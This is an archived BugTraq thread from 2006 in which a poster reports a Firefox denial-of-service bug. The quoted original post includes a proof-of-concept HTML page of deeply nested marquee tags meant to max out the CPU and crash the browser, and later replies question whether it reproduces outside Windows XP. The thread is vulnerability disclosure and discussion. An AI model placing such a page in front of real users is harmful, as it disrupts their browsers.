BugTraq
Fire fox dos exploit May 30 2006 12:03PM
co296 aol com (2 replies)
Re: Fire fox dos exploit May 31 2006 02:50PM
Josh Zlatin-Amishav (josh tkos co il) (5 replies)
Re: Fire fox dos exploit Jun 01 2006 08:00PM
Aaron Hopkins (lists die net)
Re: Fire fox dos exploit May 31 2006 08:14PM
Phil Trainor (ptrainor imperfectnetworks com)
Re: Fire fox dos exploit May 31 2006 05:28PM
Yannick von Arx (yannick vonarx yanux ch)
Re: Fire fox dos exploit May 31 2006 05:08PM
Ronald van den Blink (ronald securityview org)
I told this guy all ready that it looks like WinXP is the problem.
Mac OS X and Debian (Linux) does not hang!

With regards,

Ronald van den Blink
Securityview.org
On 31 May, 2006, at 16:50, Josh Zlatin-Amishav wrote:

> On Tue, 30 May 2006, co296 (at) aol (dot) com [email concealed] wrote:
>
>> I have found a problem which causes denial of service on fire fox
>> browser
>
> Can you give us some more details, like versions and platforms
> affected? I was unable to recreate this flaw using firefox 1.5.dfsg
> +1.5.0 on Debian unstable.
>
> --
> - Josh
>
>>
>> Creadit:to n00b for finding this bug..
>>
>> the problem lie's in the
>>
>> <marquee> html tag uses 100% cpu and crash's the browser..
>>
>> Following proof of concept available
>>
>> <html>
>> <head>
>> <title>Credit to n00b..</title>
>> <meta http-equiv="Content-Type" content="text/html;
>> charset=iso-8859-1">
>> </head>
>>
>> <body>
>> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu
>> ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma
>> rquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>
>> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu
>> ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma
>> rquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee>
>> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marqu
>> ee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><ma
>> rquee><marquee><marquee><marquee><marquee><marquee><marquee></
>> marquee></marquee></marquee></marquee></marquee></marquee></
>> marquee></marquee></marquee></marquee></marquee></marquee></
>> marquee></marquee></marquee></marquee></marquee></marquee></
>> marquee></marquee></marquee></marquee></marquee></marquee></
>> marquee></marquee></marquee></marquee></marquee></marquee></
>> marquee></marquee></marquee></marquee></marquee></marquee></
>> marquee></marq
> ue
>> e></marquee></marquee></marquee></marquee></marquee></marquee></
>> marquee></marquee></marquee></marquee></marquee></marquee></
>> marquee></marquee></marquee></marquee></marquee></marquee></
>> marquee></marquee></marquee></marquee></marquee></marquee></
>> marquee></marquee></marquee></marquee></marquee></marquee>
>> </body>
>> </html>
>>
>>

[ reply ]
RE: Fire fox dos exploit May 31 2006 04:22PM
Andy (andy nds uk com) (1 replies)
RE: Fire fox dos exploit Jun 05 2006 03:49AM
Sanjay Rawat (sanjayr intoto com) (1 replies)
RE: Fire fox dos exploit Jun 07 2006 10:43AM
Jaroslaw Sajko (sloik parareal net)
Re: Fire fox dos exploit May 31 2006 01:59PM
pagvac (unknown pentester gmail com)


 

Privacy Statement
Copyright 2010, SecurityFocus